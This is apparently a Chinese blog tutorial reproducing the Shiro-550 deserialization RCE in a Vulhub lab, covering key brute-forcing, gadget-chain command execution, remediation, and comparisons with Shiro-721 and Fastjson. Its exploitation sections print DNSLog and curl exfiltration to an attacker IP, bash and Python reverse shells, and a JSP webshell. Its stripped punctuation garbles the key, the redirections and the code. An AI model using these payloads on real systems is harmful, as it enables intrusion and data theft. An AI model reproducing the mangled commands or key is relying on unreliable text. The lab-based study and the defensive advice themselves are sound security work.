Shiro-550反序列化漏洞原理与实战复现:从默认密钥到RCE

发布时间:2026/7/4 15:37:53
Shiro-550反序列化漏洞原理与实战复现:从默认密钥到RCE 1. 项目概述从一次内部渗透测试说起前段时间在做一个内部系统的安全评估目标是一个基于Java开发的Web管理后台。常规的端口扫描、目录爆破做完没发现什么明显的入口。正准备换个思路的时候随手在请求里加了个rememberMe的Cookie结果系统返回了一个带着rememberMedeleteMe的响应。当时心里就“咯噔”一下这个特征太典型了——十有八九是撞上了Shiro框架而且很可能存在那个经典的CVE-2016-4437也就是我们常说的Shiro-550反序列化漏洞。Shiro-550这个编号源于Apache Shiro在2016年修复的一个高危漏洞漏洞编号CVE-2016-4437。它之所以在安全圈里“经久不衰”不是因为漏洞本身多复杂恰恰是因为它太“好用”了。攻击门槛相对较低利用工具成熟而且Shiro作为一个流行的Java安全框架曾经有大量系统在使用默认配置或者存在问题的旧版本。即使到了今天在一些老旧系统或者对安全更新不敏感的内网环境中依然可能发现它的身影。这次我就想结合在Vulhub靶场里的完整复现过程把这个漏洞的来龙去脉、核心原理、利用手法以及关键的排查技巧掰开揉碎了讲清楚。目标很明确不只是让你能跟着步骤把漏洞利用成功更要让你明白每一步背后的“为什么”。无论是刚入门安全的新手还是想巩固一下细节的同行希望这篇超过五千字的“保姆级”实录能成为你手边一份可靠的参考。2. 漏洞核心原理深度拆解要理解Shiro-550我们不能只停留在“有个默认密钥”的层面。它的根源在于Shiro框架为了提供“记住我”Remember Me这个便捷功能时在安全设计上出现的一连串问题。我们可以把它拆解成三个关键环节序列化与加密、密钥硬编码、以及Java反序列化这个“罪恶之源”。2.1 “记住我”功能的实现机制Shiro的Remember Me功能本质是想让用户关闭浏览器再打开后无需重新登录。它的实现思路是用户登录成功后服务器端会将用户的身份信息比如Principal序列化成字节流然后用一个密钥AES算法进行加密最后将加密后的数据通过CookierememberMe发送给浏览器保存。下次用户访问时浏览器会带上这个Cookie服务器拿到后用同样的密钥解密再反序列化就能还原出用户身份实现自动登录。这个流程听起来没问题但魔鬼藏在细节里。第一个细节是序列化对象。Shiro默认使用Java原生的序列化机制。这意味着任何实现了Serializable接口的Java对象都可以被序列化后塞进Cookie。第二个细节是加密模式。Shiro使用了AES加密但采用的是CBC模式并且初始向量IV是固定的。在密码学中CBC模式如果使用固定IV会带来安全隐患但这还不是最致命的问题。2.2 致命伤默认且硬编码的AES密钥Shiro框架在早期版本中为了开发者开箱即用在代码里硬编码了一个AES加密的密钥。这个密钥是kPHbIxk5D2deZiIxcaaaA这个Base64编码的字符串对应的字节就是Shiro用来加密和解密Remember Me Cookie的密钥。问题来了如果开发者在使用Shiro时没有在配置文件中主动修改并指定一个自己独有的、强壮的密钥那么所有使用默认配置的应用都在使用同一个密钥。这就好比全城所有人家都用同一把钥匙锁门而这把钥匙的模具就挂在城门口。攻击者一旦知道目标系统使用Shiro并且没有改密钥他就拥有了万能钥匙。他就可以伪造任何他想要的序列化数据加密后发给服务器服务器会用默认密钥成功解密。2.3 罪恶之源Java反序列化漏洞链即使攻击者能伪造加密数据服务器解密后得到的也只是一串字节。如何让这串字节变成攻击武器呢这就是Java反序列化漏洞的威力所在。Java在反序列化一个对象时会调用该对象的readObject()方法。如果这个对象构造巧妙在其readObject()方法中执行了某些危险操作比如调用Runtime.exec()执行系统命令那么在反序列化过程中这些危险操作就会被执行。安全研究人员发现了一系列可以被这样利用的“ gadget chains”利用链。例如非常著名的CommonsCollections库简称CC链中的一些类如Transformer、InvokerTransformer它们可以在反序列化时被串联起来最终达到执行任意代码的目的。攻击者的Payload就是一个精心构造的、包含了恶意利用链的序列化对象。漏洞利用的逻辑闭环就此形成攻击者使用公开的利用链如CommonsCollections1构造一个能执行命令的恶意序列化对象Payload。使用Shiro的默认密钥或爆破出的密钥对这个Payload进行AES加密。将加密后的数据作为rememberMeCookie的值发送给目标Shiro应用。目标应用使用默认密钥解密Cookie得到恶意序列化数据。应用反序列化这些数据触发利用链最终执行攻击者指定的系统命令。注意这里常有一个误解认为Shiro-550漏洞是Shiro框架本身的代码有反序列化漏洞。严格来说Shiro框架只是“提供”了一个不安全的反序列化入口点使用默认密钥的Remember Me功能。真正的“子弹”是那些第三方库如Commons-Collections中的危险利用链。Shiro的过错在于1) 使用了默认密钥2) 反序列化了不可信的数据源。2.4 与Shiro-721的根本区别在搜索热词里看到了“shiro550和721的区别”这里必须澄清一下这是两个完全不同的漏洞。Shiro-550 (CVE-2016-4437)核心问题是默认密钥。攻击者已知密钥可以主动加密恶意Payload。这是一个身份认证绕过漏洞因为你可以伪造任意用户的身份凭证。Shiro-721 (CVE-2019-12422)核心问题是Padding Oracle Attack。即使密钥未知且足够强壮由于Shiro在CBC模式解密时对Padding校验的反馈信息不同攻击者可以通过大量盲请求像“挤牙膏”一样逐步破解出加密Cookie的明文进而伪造其他用户的Cookie。这是一个权限提升漏洞前提是你需要先有一个合法的低权限用户的Remember Me Cookie。简单记550是“钥匙就放在门垫下”721是“虽然锁很结实但我能听锁芯声音慢慢把它撬开”。3. 靶场环境搭建与工具准备理论清楚了我们进入实战环节。为了安全、合法地复现漏洞我们使用Vulhub这个开源的漏洞靶场环境。它基于Docker能一键搭建各种漏洞环境干净又方便。3.1 Vulhub靶场搭建以Kali Linux为例虽然热词里有“kali搭建vulhub靶场”但Vulhub的搭建其实非常通用。这里以最常用的Kali Linux为例其他Linux发行版或macOS步骤类似。第一步安装必要的依赖首先确保系统有git和docker以及docker-compose。Kali通常已经预装了git和docker但可能需要安装docker-compose。# 更新软件包列表 sudo apt-get update # 安装docker-compose sudo apt-get install -y docker-compose # 验证安装 docker-compose --version第二步下载Vulhub找一个合适的目录克隆Vulhub的仓库。# 克隆漏洞环境库 git clone https://github.com/vulhub/vulhub.git # 进入目录 cd vulhub第三步启动Shiro靶场环境Vulhub按漏洞分类组织目录Shiro的环境在shiro目录下。# 进入shiro漏洞目录 cd shiro/CVE-2016-4437 # 使用docker-compose一键启动环境 sudo docker-compose up -d执行后Docker会从网络拉取镜像并启动容器。看到Creating ... done类似的提示就说明启动成功了。第四步验证环境用docker ps命令查看容器是否在运行。同时环境默认会将应用的8080端口映射到宿主机的8080端口。我们打开浏览器访问http://your_kali_ip:8080应该能看到一个简单的Shiro示例页面可能是一个登录页。实操心得如果8080端口被占用Vulhub的docker-compose.yml文件里可以修改端口映射。比如改成8081:8080那么访问地址就变成http://your_kali_ip:8081。修改后需要重启环境sudo docker-compose down sudo docker-compose up -d。3.2 攻击机工具准备我们的攻击机就是这台Kali Linux。需要准备几个关键工具Java环境因为Payload生成工具是Java写的。Kali通常自带可以用java -version检查。Python3环境Kali自带。一些辅助脚本是Python写的。漏洞利用工具这里我们使用一个非常经典的集成化利用工具——shiro_attack-2.0。它集成了密钥爆破、利用链检测、回显Payload生成等功能图形化界面对新手友好。可以从GitHub等平台搜索下载shiro_attack_2.0.zip。下载后解压里面会有一个可执行的JAR文件比如shiro_attack-2.0.jar。Burp Suite用于拦截和重放HTTP请求观察Cookie和响应。Kali已预装。一个简单的HTTP服务器用于托管我们的恶意Payload后续高级利用会用到。可以用Python快速搭建python3 -m http.server 8000。4. 漏洞检测与密钥爆破在发动攻击前我们需要确认目标存在Shiro框架并且存在默认或可爆破的密钥。4.1 识别Shiro框架特征最直接的特征就是rememberMe这个Cookie。用浏览器或Burp访问目标网站http://192.168.1.10:8080。拦截任何一个请求比如GET /在请求中手动添加一个CookierememberMe1。然后发送请求。观察响应。如果响应头中的Set-Cookie字段包含rememberMedeleteMe那么几乎可以断定目标使用了Shiro并且当前请求触发了Shiro对无效Cookie的清理行为。这是一个强特征。4.2 使用工具进行密钥爆破手动检测后我们用shiro_attack-2.0工具进行更精确的密钥爆破。启动工具在Kali终端中进入工具所在目录执行java -jar shiro_attack-2.0.jar图形化界面会打开。配置目标在“目标地址”处填写你的靶场URL例如http://192.168.1.10:8080。“攻击类型”先选择“爆破密钥”。开始爆破点击“检测”或“开始”按钮。工具会向目标发送一系列特制的Payload这些Payload是用常见密钥列表包括默认密钥kPHbIxk5D2deZiIxcaaaA加密的。如果目标使用了列表中的某个密钥那么解密会成功虽然反序列化可能报错但服务器返回的响应会与其他密钥不同。工具通过分析响应差异来判断哪个密钥是正确的。获取结果爆破完成后如果成功下方的日志区域或结果区域会显示爆破出的密钥例如[] Success: kPHbIxk5D2deZiIxcaaaA。这就证实了目标存在Shiro-550漏洞。常见问题与排查工具无响应或报错检查Java版本建议JDK 8检查网络是否能通靶场。有时需要给Java程序增加内存参数java -Xmx1024m -jar shiro_attack-2.0.jar。爆破不出密钥一种可能是目标真的使用了非常冷门的密钥不在工具的字典里。另一种可能是网络问题或目标有WAF拦截。可以尝试用Burp抓取工具发出的包看看是否正常。也可以手动在Burp里用Intruder模块配合常见的Shiro密钥字典进行爆破通过观察响应包长度或状态的差异来判断。5. 漏洞利用命令执行与回显拿到密钥后我们就可以构造真正的攻击了。目标是实现远程命令执行RCE。5.1 利用链的选择与命令执行在shiro_attack-2.0工具中切换到“命令执行”或“利用链”标签页。填写信息填入目标URL和刚刚爆破出来的密钥。选择利用链工具会提供多个利用链选项如CommonsBeanutils1,CommonsCollectionsK1,CB183等。这是因为不同目标系统的依赖库版本不同可用的利用链也不同。对于Vulhub的Shiro靶场通常CommonsBeanutils1或CommonsCollectionsK1是有效的。选择命令在“命令”输入框里填写你想在目标系统上执行的命令。例如whoami查看当前用户id或者ping命令来测试网络连通性。执行点击“攻击”或“执行”。如果利用链和密钥都正确命令就会在目标服务器上执行。但是这里有一个巨大的“坑”你很可能发现执行了whoami命令但工具界面上看不到任何回显结果。这是因为我们执行的命令其输出标准输出和错误输出并没有通过网络传回给我们。我们只是“盲打”了一下。5.2 解决“无回显”问题多种回显技术详解在实际渗透中命令执行没有回显是非常难受的。我们需要想办法让目标服务器把命令执行的结果“送”回来。主要有以下几种思路方法一DNSLog外带最常用、最隐蔽原理让目标执行一个能触发DNS查询的命令通过查询的域名信息把数据带出来。准备一个DNSLog平台如ceye.io或dnslog.cn获取一个专属子域名比如abc123.dnslog.cn。构造命令pingwhoami.abc123.dnslog.cn这个命令会先执行whoami假设输出是root。然后拼接成ping root.abc123.dnslog.cn。目标服务器会尝试解析root.abc123.dnslog.cn这个域名从而向DNSLog平台发起查询。在DNSLog平台上查看记录就能看到有来自目标IP的对root.abc123.dnslog.cn的查询从而得知命令执行结果是root。在工具的命令框里输入ping -c 1whoami.你的子域名.dnslog.cn注意反引号用于命令替换。方法二HTTP请求外带原理让目标通过curl、wget等命令将执行结果作为参数发送到我们控制的服务器。在攻击机Kali上启动一个HTTP服务器并监听python3 -m http.server 8000同时在终端用nc监听另一个端口准备接收数据sudo nc -lvnp 9999构造命令curl http://你的Kali_IP:9999/?resultwhoami或者更兼容的方式/bin/bash -c curl http://你的Kali_IP:9999/?result$(whoami)执行后在nc监听的窗口就能看到目标发来的HTTP请求参数里包含了whoami的结果。方法三使用工具的内置回显Payload推荐高级的利用工具包括shiro_attack-2.0已经集成了回显技术。它会在Payload中插入一段特殊的Java代码这段代码在执行命令后能将结果直接写入HTTP响应体中从而实现“回显”。在shiro_attack-2.0中选择“回显”或“Echo”相关的利用链如Echo标签下的选项。填写密钥和命令如whoami。执行后工具发送的Payload不仅会执行命令还会尝试将输出结果塞入HTTP响应包。如果成功你就能在工具的响应窗口直接看到root这样的回显内容。实操心得对于Vulhub靶场shiro_attack-2.0的CommonsBeanutils2利用链配合Echo回显模块成功率很高。如果一种回显方式不成功多尝试几种利用链和回显的组合。这是实战中最耗时但也最关键的步骤。5.3 获取交互式Shell在能执行命令并看到回显后下一步自然是获取一个更稳定的、交互式的Shell。方法一反向Shell这是最主流的方式。让目标服务器主动连接我们攻击机的某个端口。在攻击机上用nc监听一个端口sudo nc -lvnp 4444在Shiro利用工具中执行反向Shell命令。命令需要根据目标系统环境进行调整Bash环境bash -i /dev/tcp/你的Kali_IP/4444 01Python环境如果目标有Pythonpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((你的Kali_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);执行命令后如果成功在nc监听的窗口就会获得一个Shell。方法二写入WebShell如果目标是一个Web应用我们可以尝试向Web目录写入一个JSP或JSPX的WebShell。首先需要知道网站的根路径。可以通过执行find / -name *.jsp 2/dev/null | head -5或ps aux | grep java查看进程参数来猜测。使用echo命令写入一个简单的WebShell。例如写入一个执行命令的JSPecho % page importjava.util.*,java.io.*%% if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(line); } } % /tmp/shell.jsp注意这里需要将单引号内的内容进行URL编码或者通过其他方式避免命令中的特殊字符被错误解析。更稳妥的方式是先将WebShell内容Base64编码然后在目标机器上解码写入。写入后访问http://目标IP:端口/shell.jsp?cmdwhoami即可执行命令。注意事项写入WebShell的前提是知道绝对路径且有写权限。在Docker容器里/tmp目录通常是可写的。但在真实环境中需要更多信息搜集。6. 漏洞修复与防御建议复现漏洞是为了更好地防御。对于开发和安全运维人员针对Shiro-550漏洞必须采取以下措施立即升级Shiro版本将Apache Shiro升级到1.2.5及以上版本。官方在1.2.5版本中移除了硬编码的默认密钥强制要求开发者自行配置。配置强壮的专属密钥在Shiro的配置文件如shiro.ini或Spring配置中必须手动设置securityManager.rememberMeManager.cipherKey属性并将其值设为一个你自己生成的、足够复杂且保密的Base64编码密钥。可以使用Shiro提供的工具类org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()来生成。禁用Remember Me功能如果业务不需要“记住我”功能最彻底的方法是在配置中完全禁用它。更新相关依赖库升级项目中可能导致反序列化漏洞的第三方库如commons-collections,commons-beanutils等到最新安全版本。但请注意这只是一种缓解措施因为可能还存在其他未知的利用链即“链子”永远在只是换了一条。最根本的还是堵住入口使用强密钥。部署运行时保护在WAF或RASP运行时应用自保护中部署针对Java反序列化漏洞的防护规则监控异常的类加载和反序列化行为。代码审计定期对应用进行安全审计检查是否存在不安全的反序列化操作点。7. 拓展思考与Fastjson反序列化的异同另一个热词是“fastjson反序列化漏洞”。这里简单对比一下帮助大家建立知识联系。相同点两者最终都能导致远程代码执行RCE根源都是Java反序列化机制被滥用。攻击者都是通过构造恶意的序列化数据触发目标应用在反序列化过程中执行危险代码。不同点触发入口不同Shiro-550入口是Web请求中的rememberMeCookie。Shiro框架主动对这个Cookie进行解密和反序列化。Fastjson入口是HTTP请求体中的JSON数据。当Fastjson在解析JSON字符串尤其是通过type属性指定了复杂类型时会触发相关类的构造器、getter/setter方法从而可能被利用。漏洞成因侧重点不同Shiro-550成因侧重于默认密钥导致的身份验证绕过为攻击者打开了反序列化的大门。Fastjson成因侧重于JSON解析器在反序列化特定类时的特性如AutoType机制攻击者直接利用的是Fastjson库本身的解析逻辑缺陷。利用链依赖两者都需要依赖目标Classpath中存在的“ gadget chains”。不过常用的库有重叠比如commons-collections。理解它们的区别有助于在渗透测试中快速判断漏洞类型。看到一个系统使用Shiro可以优先测550/721看到一个请求响应是JSON格式并且由Jackson/Fastjson解析则可以尝试Fastjson的Payload。整个复现过程走下来从环境搭建、特征识别、密钥爆破到无回显的困扰、各种回显技巧的尝试最后拿到Shell每一个环节都可能遇到坑。Shiro-550作为一个“老牌”漏洞其原理和利用方式已经非常标准化但它依然是检验Web安全基础知识是否扎实的绝佳案例。真正理解其原理不仅能帮你复现漏洞更能让你在代码审计和防御体系建设中知道风险点究竟在哪里。在实战中面对不同的网络环境、WAF规则和系统配置灵活组合检测与利用方法才是从“复现”走向“实战”的关键。